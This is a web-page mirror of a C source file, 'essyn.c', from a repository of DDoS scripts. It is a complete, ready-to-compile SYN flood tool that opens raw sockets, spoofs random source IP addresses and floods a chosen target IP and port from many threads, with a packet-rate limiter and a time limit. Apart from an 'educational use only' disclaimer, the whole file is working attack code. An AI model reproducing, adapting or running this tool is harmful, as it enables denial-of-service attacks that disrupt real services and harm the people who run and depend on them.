Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/essyn.c
4565 views
1
/*
2
* For educational use only.
3
*[Instructions]: Save as essyn.c | compile with : gcc essyn.c -pthread -o essyn |
4
* This is released under the GNU GPL License v3.0, and is not allowed to be used for commercial products
5
*/
6
#include <unistd.h>
7
#include <time.h>
8
#include <sys/types.h>
9
#include <sys/socket.h>
10
#include <sys/ioctl.h>
11
#include <string.h>
12
#include <stdlib.h>
13
#include <stdio.h>
14
#include <pthread.h>
15
#include <netinet/tcp.h>
16
#include <netinet/ip.h>
17
#include <netinet/in.h>
18
#include <netinet/if_ether.h>
19
#include <netdb.h>
20
#include <net/if.h>
21
#include <arpa/inet.h>
22
23
#define MAX_PACKET_SIZE 4096
24
#define PHI 0x9e3779b9
25
26
static unsigned long int Q[4096], c = 362436;
27
static unsigned int floodport;
28
volatile int limiter;
29
volatile unsigned int pps;
30
volatile unsigned int sleeptime = 100;
31
32
void init_rand(unsigned long int x)
33
{
34
int i;
35
Q[0] = x;
36
Q[1] = x + PHI;
37
Q[2] = x + PHI + PHI;
38
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
39
}
40
unsigned long int rand_cmwc(void)
41
{
42
unsigned long long int t, a = 18782LL;
43
static unsigned long int i = 4095;
44
unsigned long int x, r = 0xfffffffe;
45
i = (i + 1) & 4095;
46
t = a * Q[i] + c;
47
c = (t >> 32);
48
x = t + c;
49
if (x < c) {
50
x++;
51
c++;
52
}
53
return (Q[i] = r - x);
54
}
55
unsigned short csum (unsigned short *buf, int count)
56
{
57
register unsigned long sum = 0;
58
while( count > 1 ) { sum += *buf++; count -= 2; }
59
if(count > 0) { sum += *(unsigned char *)buf; }
60
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
61
return (unsigned short)(~sum);
62
}
63
64
unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
65
66
struct tcp_pseudo
67
{
68
unsigned long src_addr;
69
unsigned long dst_addr;
70
unsigned char zero;
71
unsigned char proto;
72
unsigned short length;
73
} pseudohead;
74
unsigned short total_len = iph->tot_len;
75
pseudohead.src_addr=iph->saddr;
76
pseudohead.dst_addr=iph->daddr;
77
pseudohead.zero=0;
78
pseudohead.proto=IPPROTO_TCP;
79
pseudohead.length=htons(sizeof(struct tcphdr));
80
int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
81
unsigned short *tcp = malloc(totaltcp_len);
82
memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
83
memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
84
unsigned short output = csum(tcp,totaltcp_len);
85
free(tcp);
86
return output;
87
}
88
89
void setup_ip_header(struct iphdr *iph)
90
{
91
iph->ihl = 5;
92
iph->version = 4;
93
iph->tos = 0;
94
iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
95
iph->id = htonl(54321);
96
iph->frag_off = 0;
97
iph->ttl = MAXTTL;
98
iph->protocol = 6;
99
iph->check = 0;
100
iph->saddr = inet_addr("192.168.3.100");
101
}
102
103
void setup_tcp_header(struct tcphdr *tcph)
104
{
105
tcph->source = htons(5678);
106
tcph->seq = rand();
107
tcph->ack_seq = 0;
108
tcph->res2 = 0;
109
tcph->doff = 5;
110
tcph->syn = 1;
111
tcph->window = htonl(65535);
112
tcph->check = 0;
113
tcph->urg_ptr = 0;
114
}
115
116
void *flood(void *par1)
117
{
118
char *td = (char *)par1;
119
char datagram[MAX_PACKET_SIZE];
120
struct iphdr *iph = (struct iphdr *)datagram;
121
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
122
123
struct sockaddr_in sin;
124
sin.sin_family = AF_INET;
125
sin.sin_port = htons(floodport);
126
sin.sin_addr.s_addr = inet_addr(td);
127
128
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
129
if(s < 0){
130
fprintf(stderr, "Could not open raw socket.\n");
131
exit(-1);
132
}
133
memset(datagram, 0, MAX_PACKET_SIZE);
134
setup_ip_header(iph);
135
setup_tcp_header(tcph);
136
137
tcph->dest = htons(floodport);
138
139
iph->daddr = sin.sin_addr.s_addr;
140
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
141
142
int tmp = 1;
143
const int *val = &tmp;
144
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
145
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
146
exit(-1);
147
}
148
149
init_rand(time(NULL));
150
register unsigned int i;
151
i = 0;
152
while(1){
153
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
154
155
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
156
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
157
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
158
tcph->seq = rand_cmwc() & 0xFFFF;
159
tcph->source = htons(rand_cmwc() & 0xFFFF);
160
tcph->check = 0;
161
tcph->check = tcpcsum(iph, tcph);
162
163
pps++;
164
if(i >= limiter)
165
{
166
i = 0;
167
usleep(sleeptime);
168
}
169
i++;
170
}
171
}
172
int main(int argc, char *argv[ ])
173
{
174
if(argc < 6){
175
fprintf(stderr, "Invalid parameters!\n");
176
fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
177
exit(-1);
178
}
179
180
fprintf(stdout, "Setting up Sockets...\n");
181
182
int num_threads = atoi(argv[3]);
183
floodport = atoi(argv[2]);
184
int maxpps = atoi(argv[4]);
185
limiter = 0;
186
pps = 0;
187
pthread_t thread[num_threads];
188
189
int multiplier = 20;
190
191
int i;
192
for(i = 0;i<num_threads;i++){
193
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
194
}
195
fprintf(stdout, "Starting Flood...\n");
196
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
197
{
198
usleep((1000/multiplier)*1000);
199
if((pps*multiplier) > maxpps)
200
{
201
if(1 > limiter)
202
{
203
sleeptime+=100;
204
} else {
205
limiter--;
206
}
207
} else {
208
limiter++;
209
if(sleeptime > 25)
210
{
211
sleeptime-=25;
212
} else {
213
sleeptime = 0;
214
}
215
}
216
pps = 0;
217
}
218
219
return 0;
220
}
221